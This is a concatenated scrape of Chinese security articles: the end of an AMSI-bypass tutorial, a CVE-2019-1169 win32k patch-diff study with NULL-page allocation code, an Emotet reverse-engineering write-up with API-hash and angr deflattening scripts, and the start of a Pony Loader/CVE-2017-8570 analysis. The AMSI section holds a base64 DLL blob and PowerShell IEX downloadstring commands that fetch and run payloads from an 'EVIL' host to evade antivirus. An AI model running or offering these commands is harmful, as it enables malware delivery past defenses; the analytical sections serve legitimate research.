AAAAAAAAAAAAAAAAAAIAAADAAAAMg8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null
Write-Output "DLL has been reflected";
}
[Bypass.AMSI]::Disable()
}
来源：[Bypass AMSI and Execute ANY malicious powershell
code](https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html)
接着执行`IEX (New-Object
Net.Webclient).downloadstring("https://EVIL/amsi")`命令，再执行`Bypass-AMSI`。
### 成功执行
现在我们的payload已经压缩过4次，并且禁用了AMSI，我们可以下载payload并在内存中执行该payload：
IEX (New-Object Net.Webclient).downloadstring("https://EVIL/compressed4.txt")
如上图所示，我们可以看到payload压缩3次后还会被KES11检测到，但第4次压缩后就可以绕过AV，并且此时由于AMSI处于禁用状态，因此我们可以成功执行payload：
大功告成！ | 社区文章 |
# Windows win32k空指针解引用内核信息泄露漏洞分析（CVE-2019-1169）
##### 译文声明
本文是翻译文章，文章原作者 hubspot，文章来源：cdn2.hubspot.net
原文地址：<https://cdn2.hubspot.net/hubfs/4598121/PART-ONE-Windows-Kernel-Info-Leak-Investigating-Microsoft-Vulnerability-CVE-2019-1169-VerSprite-Research.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、漏洞详情
近期，VS-Labs针对微软在2019年8月补丁更新中修复的win32k.sys
NULL指针解引用漏洞进行了研究。利用该漏洞，攻击者可以创建一个漏洞利用程序，从而从受影响Windows 7计算机上的任何内核地址中泄露数据。
在本文中，我们将展示VS-Labs如何编写这一漏洞利用程序，我们首先建立了测试环境，然后使用DIaphora分析补丁，最后使用C++语言编写漏洞利用程序。希望通过阅读这篇文章，能够使读者对这个典型的漏洞产生深刻的理解。
要阅读本文，需要读者事先具备以下知识：
C/C++相关知识（必备）；
X86编译知识（必备）；
Windows用户空间漏洞利用经验（推荐）。
## 二、漏洞分析
### 2.1 漏洞公告分析
在分析CVE-2019-1169之前，我们首先分析了两份单独的漏洞公告，其中一份是来自Microsoft的，另一份是来自ZDI。经过初步分析，我们发现了这两份公告之间的差异。
Microsoft在CVE-2019-1169的漏洞公告页面上将该漏洞描述为影响Windows 7、Windows 7 SP1、Windows Server
2008和Windows Server 2008 R2的任意代码执行漏洞。在这里，Microsoft没有列出不再受支持的漏洞操作系统，例如Windows
XP，但这些操作系统也存在该漏洞。
另一方面，ZDI的ZDI-19-709漏洞公告将该漏洞描述为xxxMNDragOver()中的NULL指针解引用漏洞。
在这份通告中还提到，可以通过在回调期间破坏菜单来触发漏洞，从而使攻击者能够从用户模式代码读取内核内存。
在这里，我们必须要提出一个问题——在两份通告中，究竟哪一个是正确的？
经过进一步的研究，我们已经能够确定，ZDI的公告实际上是正确的，而Microsoft的公告是将多个公告组合在了一起，并使用其中最严重的一个漏洞描述为其贴上标签，这样可能会为用户带来错误的印象，会让人们觉得CVE-2019-1169可以导致攻击者实现特权提升。
在我们开展分析之前，有必要描述一些有关NULL指针解引用漏洞工作原理的背景知识。
### 2.2 空指针解引用的原因和影响
之所以会产生NULL指针解引用漏洞，是因为开发人员在解除对指针的引用并检索其指向的数据之前没有检查指针是否为NULL。这通常是由于开发人员忘记了其代码中的一个代码路径会将对象或指针更改为意外状态而导致的。这可能导致开发人员做出错误的假设，也就是必须进行哪些检查才能适当地保护其程序免受恶意输入的侵害。
NULL指针解引用漏洞的严重性，取决于解引用后应用程序如何使用这个指针。如果将指针指向的数据用于写操作的位置，就能导致攻击者可以写入任意内存，从而可能会导致代码执行。
同样，如果使用指针来确定从哪里读取数据，那么攻击者就只能实现任意读取，最终导致的潜在危害就是信息泄露。在这两种情形中，攻击者都必须要分配NULL页，以便在解应用指针时，受影响的程序会在分配的NULL页中引用攻击者控制的数据。然后，这些数据将在受影响的应用程序中使用，这将会导致攻击者控制程序的行为。
在制作NULL页时，攻击者必须确保NULL页的内容与NULL指针指向的数据的结构相匹配，否则他们将无法控制应用程序的数据。我们应该指出，这表明没有通用方法可以为NULL页制作数据。每个受影响的应用程序可能都需要用一个你哟功能程序唯一的数据来填充NULL页。
最后，需要特别说明的是，我们在本文中仅会讨论内核模式NULL指针解引用漏洞，但同样的概念也适用于用户模式NULL指针解引用漏洞。二者之间唯一的区别在于，内核模式NULL指针解引用漏洞更有可能导致特权提升，因为内核模式代码可以读取系统上的任何地址，而对于用户模式的NULL指针解引用漏洞，则只能在用户模式地址空间内读取或写入地址。
## 三、漏洞影响范围
我们再次阅读Microsoft的公告，发现其中表示，该漏洞不会影响Windows 8、Windows 8.1和Windows 10。
这些版本之所以不受漏洞影响的原因，可以在2012年MSRC上Matt Miller的演讲中找到。该研究人员的研究成果指出，在Windows
8和更高版本上，用户尝试使用前64KB内存（0x00000000 – 0x0000FFFF）会阻止其使用，以防止出现NULL指针解引用漏洞。
这个缓解措施的工作原理就如同内核模式尝试在该区域中分配内存一样，将会引发访问冲突，这会导致BSOD，从而向系统管理员表明网络内部可能存在攻击者。
同样，用户模式应用程序将无法在这些区域中分配内存，而是会返回错误。
这里要注意的一点是，这个缓解措施已经反向移植到Windows
Vista及更高版本的64位版本中。因此，只能在大多数Windows操作系统的32位版本上利用NULL指针解引用。但是，如何验证这一点呢？我们需要进行一些开发工作。
3.1 验证是否已回传NULL页面缓解
为了测试NULL页缓解措施是否已经反向移植到Windows 7
x64中国呢，我们使用了以下代码，该代码尝试使用ZwVirtualAllocMemory()分配NULL页。
NULLPageAllocation.cpp：
// NULLPageAllocation.cpp: This file contains the 'main' function.
// Program execution begins and ends there.
#include <stdio.h>
#include <Windows.h>
#include <bcrypt.h>
// Needed to solve the issue "Function returning function
// is not allowed”. Might be because it defines
// NTSTATUS and some other data structures.
// Definition taken from NtAllocateVirtualMemory function (ntifs.h) -Windows drivers
typedef NTSTATUS(WINAPI* ZwAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
#define STATUS_SUCCESS 0
int main()
{
// Get the address of NtAllocateVirtualMemory()
// which is exported from ntdll.dll
ZwAllocateVirtualMemory pZwAllocateVirtualMemory = (ZwAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwAllocateVirtualMemory");
DWORD baseAddress = 0x1;
SIZE_T sizeOfAllocation = 1024;
NTSTATUS result = pZwAllocateVirtualMemory(GetCurrentProcess(), (PVOID*)&baseAddress, 0, &sizeOfAllocation, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (result == STATUS_SUCCESS) {
printf("[*] Successfully allocated the NULL page!rn");
}
else {
printf("[!] Could not allocate the NULL page...rn");
}
}
在这个示例中，将0x1作为基址，因为ZwVirtualAllocMemory()不允许address参数为0x0。但是，如果提供了0x1，那么ZwVirtualAllocMemory()会在内部将0x1向下舍入到下一个页面对齐的地址0x0。因此，攻击者可以请求ZwVirtualAllocMemory()尝试分配NULL页，而不会违反ZwVirtualAllocMemory()的参数要求。
这里需要注意的是，如果尝试使用其他内存分配函数，将无法实现这一点，因为ZwVirtualAllocMemory()和其NT等效函数NtVirtualAllocMemory()具有在NULL页上分配内存的独特功能，而其他调用（例如VirtualAlloc()）则可以舍入到最接近的页边界，也拒绝小于某个地址的地址。下图展示了我们尝试在Windows
7 SP1 x64计算机上运行该程序的结果。
需要关注的是，返回的错误代码保存在result变量中，该代码为0xC00000F0或STATUS_INVALID_PARAMETER_2。通过参考Microsoft的NTSTATUS页面，我们确定这个错误代码表明第二个参数会传递给ZwAllocateVirtualMemory()，这是要分配的内存的基址，是无效的。我们也许想弄清楚，如果尝试在NULL页之外、前64KB内存中分配内存，将会发生什么情况。实际上，这样的尝试也会失败，但错误代码会有所不同。在下面展示的示例中，我们尝试在位于前64KB内存中的0xF80C地址处分配内存。
这会导致ZwAllocateVirtualMemory()返回相同的错误代码0xC00000F0或STATUS_INVALID_PARAMETER_2，表示指定的内存地址无效，如下图所示。
最后，如果用户尝试在内存前64KB之外的较低位内存地址上分配内存，那么ZwAllocateVirtualMemory()会成功，如下图所示。
从最后三个测试的结果来看，可以确认ZwAllocateVirtualMemory()的内部已经修改，但改动仅是为了确保它不能在NULL页的前64KB内存中分配内存。
在NtVirtualAllocateMemory()进行相同的测试，展示出类似的结果，表明它也以相同的方式进行了修复，因此我们就可以确认CVE-2019-1169仅影响Windows
7 x86和更低版本，而不会影响Windows 7 x64、Windows 8和更高版本。
## 四、目标设定
### 4.1 环境设置：快照和文件夹
在我们掌握了哪些系统受到CVE-2019-1169漏洞的影响之后，我们就可以创建一个环境来分析补丁。在这里，我们使用了运行Windows 7 SP1
x86的VirtualBox VM。然后，在纯净版映像的状态拍摄两个快照。
第一个快照命名为“Windows 7 2019年7月补丁”，将CVE-2019-1169之前的所有补丁安装在纯净版本的Windows 7
SP1映像上。这一过程，是通过安装2019年7月每月汇总补丁（KB4507449）来实现的。
在每月汇总补丁中，包含当月和前几个月的所有补丁程序，这样使得研究人员可以轻松获得已经安装了正确补丁集合的系统。
第二个快照命名为“Windows 7 2019年8月补丁”，是在安装KB4512486后拍摄的，其中包含CVE-2019-1169的修复。
为了确认这是正确的更新程序包，我们查看了Microsoft
CVE-2019-1169的漏洞公告页面，该页面上说明，修复了CVE-2019-1169漏洞的2019年8月安全更新程序包编号为KB4512486。下图展示了执行这些操作后，VirtualBox的快照视图。
一旦安装补丁并拍摄快照后，我们就可以从其中的两个快照中提取win32k.sys文件，并将其复制到主机上。
未修复的win32k.sys被放置在名为Old的文件夹中，而修复后的win32k.sys被放置在名为New的文件夹中。该文件夹的结构如下图所示：
然后，我们将这两个win32k.sys文件加载到IDA Pro中进行分析，并将生成的IDA Pro数据库文件（.i64文件）保存在相应的本地文件夹中。
### 4.2 符号路径设置
我们需要执行的下一项工作，是在主机上配置符号路径。符号路径是一个名为_NT_SYMBOL_PATH的环境变量，它通常包含两部分：系统上本地文件夹的路径，该路径用作已下载PDB文件的缓存，以及一个URL，指向服务器以下载缓存中目前没有的PDB文件。
对于大多数用户来说，这个路径将直接指向C:Symbols，而URL将指向Microsoft的符号服务器。
我们需要将这个环境变量设置为不包含它的Windows程序（例如WinDBG），该Windows程序依靠这个环境变量来找到各种二进制文件所对应的PDB文件，这时将无法找到适当的PDB文件。PDB是Microsoft的Unix符号文件版本，在没有相关函数名、参数、返回值、数据类型和与特定二进制文件关联的结构布局信息的情况下，要尝试调试程序会非常困难。在进行内核研究时更是如此，因为在PDB文件中经常没有记录组件并定位相应信息。
为了设置符号路径，我们在管理员级别的PowerShell命令提示符中，使用了以下命令行。
PowerShell符号路径设置脚本：
mkdir c:MySymbols
[Environment]::SetEnvironmentVariable("_NT_SYMBOL_PATH", "cache*c:MySymbols;srv*https://msdl.microsoft.com/download/symbols", "Machine")
其中，第一个命令创建了文件夹C:MySymbols。在创建这个文件夹后，第二个命令创建了一个名为_NT_SYMBOL_PATH的系统环境变量，其值为`cache*c:MySymbols;srv*https://msdl.microsoft.com/download/symbols`，以指定系统应将PDB文件存储在C:MySymbols中，并且对于任何未在本地存储的PDB文件，都应该先从Microsoft
Symbol Server下载，然后再保存到C:MySymbols中。
### 4.3 设置VirtualBox进行内核调试
一旦设置了符号路径，我们的下一步就是配置VirtualBox进行内核调试。
有几种方式可以实现这一点。其中，最为常见的方法是COM和KDNET。KDNET允许通过兼容的网络适配器进行内核调试，它所提供的调试必须比COM的效率更高（参阅MSDN），并且设置和延迟更少，但是它需要操作系统时Windows
8或更高版本。
但遗憾的是，由于CVE-2019-1169不影响Windows 8系统，因此我们只能在命名管道上使用普通的COM通信来对所选的Windows
7计算机进行内核调试。
为了在VirtualBox中设置命名管道，我们首先导航到VirtualBox Manager。在选择Windows
7虚拟机后，我们选择了设置图标（黄色齿轮），然后出现以下的屏幕内容：
我们选择“Serial Ports”（串行端口）选项，并在“Port 1”菜单选项下选择“启用串行端口”的复选框，以及以下选项：
端口：COM1
端口模式：Host Pipe（主机管道）
取消选中“Connect to Existing
Pipe/Socket”（连接到现有管道/套接字），以便让VirtualBox创建管道，而非连接到现有管道。
路径/地址：.pipeWin7Kernel
下图展示了正确设置后的截图：
这些设置将要求VirtualBox在计算机启动时创建一个名为.pipeWin7Kernel的COM管道。该COM管道将与串行端口COM1关联。完成此操作后，将会启动要调试的快照，并在管理员权限的命令提示符中输入以下命令。
在目标上启用内核调试的bcdedit命令：
bcdedit /debug on
bcdedit /dbgsettingsserial debugport:1 baudrate:115200
这些命令在目标计算机上启用了调试模式，该模式允许远程计算机对目标计算机进行内核调试，并进行调试设置，以便其使用串行端口1（COM
1），其信号/波特率为115200，这也是通常使用的信号/波特率。
完成此操作后，我们将正常关闭虚拟机（不通过VirtualBox关机），然后启动WinDBG
Preview并选择“附加到内核”。我们随后检查“管道”、“重新连接”和“初始中断”按钮，并将“波特率”设置为115200，将“端口”设置为.pipeWin7Kernel。下图展示了正确设置后的截图：
然后，按下OK按钮，WinDBG Preview会显示一个窗口，表明该窗口正在等待目标计算机重新连接到调试器，如下图所示。
出现这个消息后，我们在VirtualBox中启动目标计算机，并看到WInDBG Preview的确认，即客户端已连接，并且符号已经正确配置，如下图所示。
## 五、原始版本与补丁修改版本分析
### 5.1 Diaphora分析
在设置好环境并创建IDA Pro
64位（.i64）文件后，我们接下来就要分析原始版本与补丁修改后版本的区别，以确认win32k.sys的两个版本之间存在什么样的变化。
这个步骤需要一个比较程序。我们比较常用的补丁分析工具是Diaphora，这是一个知名的补丁比较工具，它具有多种启发式算法，可以比其他方式更为准确地识别Windows二进制文件中的更改。这个工具可以从GitHub上免费获取。
在从GitHub上克隆Diaphora后，我们在IDA
Pro中打开与补丁的win32k.sys文件相对应的.i64文件，并通过选择“文件”-“运行脚本”，导航到文件diaphora.py的位置，该文件位于Diaphora存储库被克隆的文件夹根目录中。完成后，将出现下图所示的对话框。
在大多数情况下，分析人员可以直接使用Diaphora提供的默认设置。需要注意的是，选项“忽略自动生成的名称”将会导致IDA忽略任何以sub_开头的函数，对于没有提供名称的函数来说会出现这种情况。
对于Windows 7 SP1 x86，其中存在win32k.syssince符号，该符号将会填充IDA
Pro使用函数名称检测到的所有函数。但是，当符号不可用或者不完整时，建议禁用这个选项，以确保对所有函数都进行了恰当的分析。为了完整起见，我们决定取消选中“忽略自动生成的名称”选项，以确保所有函数都会被分析。
在完成上述操作后，按OK按钮，Diaphora开始与当前加载的.i64文件相对应的函数信息导出到.sqlite文件中。我们可以在下图中看到。
分析完成后，Diaphora将关闭这个对话框，以表明导出过程已经完成，同时会将一些信息输出到输出日志中，确认已经成功将数据库信息导出到.sqlitedatabase文件。
一旦发生这种情况，我们关闭IDA
Pro，使用与Win32k.sys修复版本相对应的.i64文件重新打开编辑，如下图所示，再次使用相同的设置对这个文件运行Diaphora工具。
在完成对两个文件的分析后，我们得到了两个.sqlite文件：一个是未修补的win32k.sys文件，另一个是已修补的win32k.sys文件。现在，我们可以重新打开IDA
Pro，加载与win32k.sys未修补版本相对应的.i64文件。
然后，再次运行DIaphora，但这次将SQLite数据库更改为diff
againstoption，以使其指向与win32k.sysfile已修补版本相对应的.sqlite文件，如下图所示。
完成这一操作后，按下OK按钮，这时会显示出一个弹出菜单，询问是否覆盖现有的.sqlitefile。此时，我们选择了No，因为Diaphorahad已经导出了两个版本的win32k.systo
.sqlitefiles所需的信息，没有必要再重复这项工作。
随后，Diaphora开始运行多个线程，来分析两个文件之间的差异，并在这个过程中应用了各种启发式方法和算法。
大约20分钟后，分析完成，并成功弹出了一个窗口，询问是否要立即保存结果。由于我们这时还不知道哪些结果是有用的，因此按下OK按钮可以忽略此窗口，并继续显示结果。
下面是示例中的输出结果：
我们立即意识到，Diaphoramay已经检测到又一些额外的函数被更改，因为出现的几个sub_XXX函数被标记为已更改，但是代码改动的概率非常小。
发生这种情况的原因在于，即使Diaphora可能具有功能相似的代码，它们有时也会将函数标记成不同类别。例如，当一个函数使用不同的缓存器执行相同的操作时，或者当代码被更改以使其执行相同的一组操作时。
由于Diaphora当前无法自动检测到这些类型的更改，因此逆向工程必须人工将这些无效的函数标记为误报。
经过快速分析后，我们确定Diaphora“部分匹配”选项卡中的sub_XXX函数为误报，因为每个函数在功能上都是相同的，但两个win32k.sys文件都使用不同的方式引用了相同的全局变量。
我们继续比较二者之间的差异，查看每个sub_XXX函数，使其以蓝色突出显示，然后按DEL将其删除。需要注意的是，由于存在一些小BUG，更新可能不会立即显示出来。如果在单击“删除”之后没有更新，建议右键单击，并选择“刷新”以更新结果并查看更改。在去除所有sub_XXX函数后，我们就可以在Diaphora中看到干净的Partial
Matchestab，如下图所示。
### 5.2 xxxMNDragOver()补丁分析
在我们查看ZDI的通告之后，我们注意到通告中特别提到了受影响的函数是xxxMNDragOver()，该函数是在上图中检测到有改动的函数之一。我们右键点击xxxMNDragOver(),，选择Diff组件，就可以得到如下图所示的结果。
需要关注的是，上面的输出展示了经过我们多次分析迭代后添加的注释，这些内容不是由IDA Pro或Diaphora自动添加的。
截图的右侧展示了未修补的代码，而左侧展示的是更新的代码。通过查看右侧的代码，我们注意到这里调用了_safe_cast_fnid_to_PMENUWND()。
然后，将这个调用的结果与EDI进行比较，该结果在测试过程中被设置为0x0。
在两个版本之间，这个代码尚未进行更改，但是有几行代码对_safe_cast_fnid_to_PMENUWND()的结果进行了操作，而在安装补丁后，似乎对这个函数进行了更改。
由于函数名称为_safe_cast_fnid_to_PMENUWND()，所以我们认为_safe_cast_fnid_to_PMENUWND()的输出将会是PMENUWND结构。PMENUWND结构的定义如下：
typedef struct tagMENUWND {
WND wnd;
PPOPUPMENU ppopupmenu;
} MENUWND, *PMENUWND;
在对于函数可能操作哪些数据这方面有所了解后，我们再次检查了该代码的旧版本，旧版本在上图右侧以红色标出。
这部分代码首先将ECX设置为_safe_cast_fnid_to_PMENUWND()返回的PMENUWND对象内ppopupmenu指针的值。
完成这一操作之后，使用下面的指令将EAX设置为ppopupmenu指向的POPUPMENU结构内部的值spmenufield。然后将EAX与EDI进行比较，EDI的值为0x0，从而确保spmenufield不会为NULL。我们通过查看WinDBG中的标签POPUPMENU结构，来确认spmenufield在PPOPUPMENU中的位置：
1: kd> dt win32k!tagPOPUPMENU
...
+0x014 spmenu : Ptr32 tagMENU
...
细心的读者可能已经注意到，这里的代码存在问题，因为没有进行检查以确保_safe_cast_fnid_to_PMENUWND()返回的PMENUWND对象包含的一个ppopupmenufield字段不为NULL。
因此，ppopupmenu可能是一个NULL指针，这将导致EAX被设置为内存0x14位置的32位值。从而导致攻击者可以控制EAX的值，并有可能改变xxxMNDragOver()的执行。
攻击者所需要做的，就是能够在内存中分配NULL页，用户可以在Windows 7
x86上通过调用诸如ZwAllocateVirtualMemory()或NtAllocateVirtualMemory()这样的函数，然后将此页的偏移量0x14设置为特定值来执行此操作。然后，当EAX设置为ppopupmenu的spmenufield的值时，就允许攻击者控制EAX。
修补后的代码通过确保_safe_cast_fnid_to_PMENUWND()返回的PMENUWND对象中包含一个不为NULL的ppopupmenu字段的方式，来修复这一漏洞。如果ppopupmenu字段为NULL，则xxxMNDragOver()将会停止处理该对象，并提前终止，从而防止攻击者控制该程序的行为。
## 六、总结
到目前为止，我们已经明确，攻击者可以利用CVE-2019-1169在某种程度上获取对xxxMNDragOver()执行方式的控制。
但是，这里仍然存在一些问题，例如“攻击者可以完全控制哪些地方”、“这是否会导致关键的信息泄露”？
后续，我们还将研究这些问题，并进一步确定攻击者可以如何利用这一漏洞，同时验证攻击者能够泄露的内核地址。 | 社区文章 |
# 杀不死的Emotet
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
Emotet是一种计算机恶意软件程序，最初以银行木马程序的形式开发。目的是访问外部设备并监视敏感的私有数据。众所周知，Emotet会欺骗基本的防病毒程序并将其隐藏。一旦被感染，该恶意软件就会像计算机蠕虫一样传播，并试图渗透到网络中的其他计算机。
样本信息
MD5：589ded5798b2dcf227b56142122a6375
File Type: Win32 EXE
Detection: Trojan:Win32/EmotetCrypt.ARJ!MTB
## 静态分析
使用Exeinfo查看下是没用通用壳特征的
发现有个挺奇怪的资源rcdata\1E55
使用ida打开通过这些鬼东东还是可以识别是MFC的程序，MFC的程序用户代码一般都在头部，如果有界面的话还是可以使用xspy进行解析找到按钮事件和定时器等的
## 动态分析
对于MFC程序我一般是在ida里面头部找到用户代码下断点，或者通过xspy来找到按钮的事件来分析函数。这里的话我找到了一段比较感兴趣的用户代码，我们在调试器里面下断点到402f78
这个函数先初始化了变量V7就是我们之前在资源里面看到的值还记得吗？0x1E55==7765
然后在对字符串进行拼接LdrAccessResource LdrAccessResource LdrFindResource_U
并且获取了LdrFindResource_U这个函数地址
下面这块代码就是在调用上面的API寻找资源，然后申请内存空间然后解密
调试到使用LdrFindResource_U加载资源的函数
LdrFindResource_U和LdrAccessResource都是从NTdll中导出的API,LdrFindResource_U会根据资源ID找到相应的资源,如果找到,则返回相应的句柄,后续应该使用LdrAccessResource来使用该句柄。下面就是函数的声明，到这里也基本都知道流程了。
/*
NTSTATUS NTAPI LdrFindResource_U (PVOID BaseAddress, PLDR_RESOURCE_INFO ResourceInfo, ULONG Level, PIMAGE_RESOURCE_DATA_ENTRY *ResourceDataEntry)
NTSTATUS NTAPI LdrAccessResource (IN PVOID BaseAddress, IN PIMAGE_RESOURCE_DATA_ENTRY ResourceDataEntry, OUT PVOID *Resource OPTIONAL, OUT PULONG Size OPTIONAL)
*/
status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);
if (NT_SUCCESS(status)) {
status = LdrAccessResource(DllHandle, DataEntry, (PVOID*)&Data, &SizeOfData);
if (NT_SUCCESS(status)) {
if (DataSize) {
*DataSize = SizeOfData;
}
}
}
这个函数里面就是真正的解密算法，看起来像改的RC4算法，把一个字符串算出一个值来
下面一个函数就在解密资源了
解密之后上面是代码下面是一个PE
在资源解密的开头下断点，这些代码就是个PEloader感兴趣的话可以调试看看，这里就不浪费篇章讲解了
## payloder
### 样本信息
MD5：F24497D3168A8464E4F13AB4E45458E8
File type: Win32 DLL
#### 静态分析
发现是个dll，点进去10004070进去看
又是个PE，开始dump吧，猜个这个dll没有功能就是loader
dump下来的PE还有个可爱的图标
### 样本信息
MD5: 4434F871965FB050F1E4BA9361562466
File type: Win32 DLL
#### 静态分析
从入口进去，可以发现这个函数像是被平坦化了的。被平坦化了的函数一般使用符号执行来解决比较好吧？(PS:还有其他好的办法请告诉我谢谢)。看到这种情况我还是打算好好的用OD调试+ida看吧，目前从ida这里看不出来啥。
#### 动态分析
先从入口点进入平坦化的函数内部看看 406550
进入后经过一系列比较走到的第一个函数406fb0
406fb0内部有一个函数经过交叉引用发现被调用很多次，但有不是库的，一般可以认为和解密有关，注意看他的模式一般都是mov ecx，xxxxxx
然后再call 406fb0
进入函数内部也确实可以看出ecx做了一些运算
动态调试可以发现是在找dll地址(handle) 0A2CE093Fh这个的值对应的是kerenl32.dll
获取到dll地址后，然后就返回到上个函数可以看到sub_403ED0这个函数也是交叉引用很多的，发现使用了上个函数返回的dll地址，还有一个参数
这个函数内部的功能就是加载dll的函数 4FEE74F4h对应的就是GetPorcessHeap
说了这么多肯定不是为了手动调试，那样太累了还是体力活，而且效果也不咋滴。所以我把这算法给扣了下来
#include <windows.h>
void LibCrc(WCHAR* v2);
void FuncCrc(char* v1);
int main(int argc,char* argv)
{
LibCrc(L"kernel32.dll");
FuncCrc("GetProcessHeap");
}
void LibCrc(WCHAR* v3) {
unsigned int v4;
int v6 = 0;
if (*v3)
{
do
{
v4 = (unsigned __int16)*v3;
if (v4 >= 0x41 && v4 <= 0x5A)
v4 += 32;
++v3;
v6 = (v6 << 16) + (v6 << 6) + v4 - v6;
} while (*v3);
}
void* crc = (void*)(v6 ^ 0x2DB0EF4D);
printf("%X\r\n", crc);
}
void FuncCrc(char* v1) {
char *i;
int v3;
v3 = 0;
for (i = v1; *i; v3 = (v3 << 16) + (v3 << 6) + (char)*(i - 1) - v3)
++i;
printf("%X\r\n", v3 ^ 0xBDB9B51);
}
嘿嘿结果也是对的，之后可以把常用的dll名字和函数名字跑一下出来crc。然后使用脚本对ida脚本对函数进行标注，但是在之前最后把平坦化给去除了。
#### 符号执行去除平坦化
文章参考链接利用符号执行去除控制流平坦化
参考的github链接deflat
符号执行第一步先把得到和ida一样的cfg图
filename=r"D:\code\py\env\flat_control_flow\_01CD0000"
project=angr.Project(filename, load_options={'auto_load_libs': False})
cfg = project.analyses.CFGFast(normalize=True, force_complete_scan=False)
target_function = cfg.functions.get(start_addr)
#转为ida一样的cfg图
supergraph = am_graph.to_supergraph(target_function.transition_graph)
然后分块 寻找序言 ret 主分发器 寻找真实块和nop块
# 寻找序言 ret
prologue_node=None
retn_node_list=[]
for node in supergraph.nodes():
if supergraph.in_degree(node)==0:
prologue_node=node
if supergraph.out_degree(node) == 0 :
retn_node_list.append(node)
#寻找主分发器
main_dispatcher_node_list=[]
main_dispatcher_node_list.append(list(supergraph.successors(prologue_node))[0])
main_dispatcher_node_list.append(list(supergraph.successors(main_dispatcher_node_list[0]))[0])
# 寻找真实块和nop块
def get_relevant_nop_nodes(supergraph, main_dispatcher_node_list, prologue_node, retn_node_list):
relevant_nodes = []
nop_nodes = []
for node in supergraph.nodes():
if supergraph.has_edge(node, main_dispatcher_node_list[0]) and node.size > 8:
relevant_nodes.append(node)
continue
if supergraph.has_edge(node, main_dispatcher_node_list[1]) and node.size > 8:
relevant_nodes.append(node)
continue
if node.addr == prologue_node.addr:
continue
for main_dispatcher_node in main_dispatcher_node_list:
if node.addr == main_dispatcher_node.addr:
continue
for retn_node in retn_node_list:
if node.addr == retn_node.addr:
continue
nop_nodes.append(node)
return relevant_nodes, nop_nodes
进行符号执行把块给关联起来
def symbolic_execution(project, relevant_block_addrs, start_addr, hook_addrs=None, modify_value=None, inspect=False):
def retn_procedure(state):
ip = state.solver.eval(state.regs.ip)
project.unhook(ip)
return
def statement_inspect(state):
expressions = list(
state.scratch.irsb.statements[state.inspect.statement].expressions)
if len(expressions) != 0 and isinstance(expressions[0], pyvex.expr.ITE):
state.scratch.temps[expressions[0].cond.tmp] = modify_value
state.inspect._breakpoints['statement'] = []
if hook_addrs is not None:
skip_length = 4
if project.arch.name in ARCH_X86:
skip_length = 5
for hook_addr in hook_addrs:
project.hook(hook_addr, retn_procedure, length=skip_length)
state = project.factory.blank_state(addr=start_addr, remove_options={
angr.sim_options.LAZY_SOLVES})
if inspect:
state.inspect.b(
'statement', when=angr.state_plugins.inspect.BP_BEFORE, action=statement_inspect)
sm = project.factory.simulation_manager(state)
sm.step()
while len(sm.active) > 0:
for active_state in sm.active:
if active_state.addr in relevant_block_addrs:
return active_state.addr
sm.step()
return None
找到关系后就是patch修复了
## 总结
这里最后也没有给出标注ida或者OD函数的脚本，还有完整的修复平坦化的脚本。因为这些东西都不是通用的，给出了没有太大的意义(PS：其实是自己不想整了)。有兴趣的可以继续整下去。 | 社区文章 |
# Pony Loader窃密木马样本分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
自从Pony
Loader源码在论坛出售，便大规模用于窃取用户隐私数据。钓鱼攻击为最常用的手法，核心代码不断改变、投递方式也因攻击者不同而变化。这里我们分析一个通过漏洞CVE-2017-8570运行并使核心窃密恶意代码无文件落地执行的较新型样本。
## 一、 投递部分
CVE-2017-8570漏洞为Microsoft Office的一个远程代码执行漏洞。因为Microsoft
PowerPoint执行时会初始化Script”Moniker对象，并在PowerPoint播放动画期间会激活该对象，导致执行sct脚本（Windows
Script Component）文件。攻击者可以通过欺骗用户运行含有CVE-2017-8570漏洞的PPT文件分发恶意程序。
### 1.1分析漏洞文档
使用rtfobj.py拆解取出文档中的对象（图中的后缀名为已修改内容），可以看到文档包含sct脚本文件和许多可执行文件，猜测逻辑上是接力执行关系。
根据该漏洞的描述，最先执行的是sct脚本文件；如果文档包涵多个sct文件时，可通过分析sct文件或查看bin对象确认启动顺序和路径；该bin文件二进制内容显示，首先执行的是临时文件下的a.sct样本（不区分大小写）。
1.样本a.sct的主要内容是运行样本ufFm.cmd，具体内容如下：
`<script>`
`<![CDATA[`
`function tbpofmq(hello)`
`{`
`_ActiveXObj = this['Act'+'iveXO'+'bject'];`
`var nnqybb='ell';`
`var unzhb='t.';`
`var yybfex='rip';`
`var unzznjf='WSc';`
`var yubz='Sh';`
`var shdkqn = new _ActiveXObj(unzznjf + yybfex + unzhb + yubz + nnqybb);`
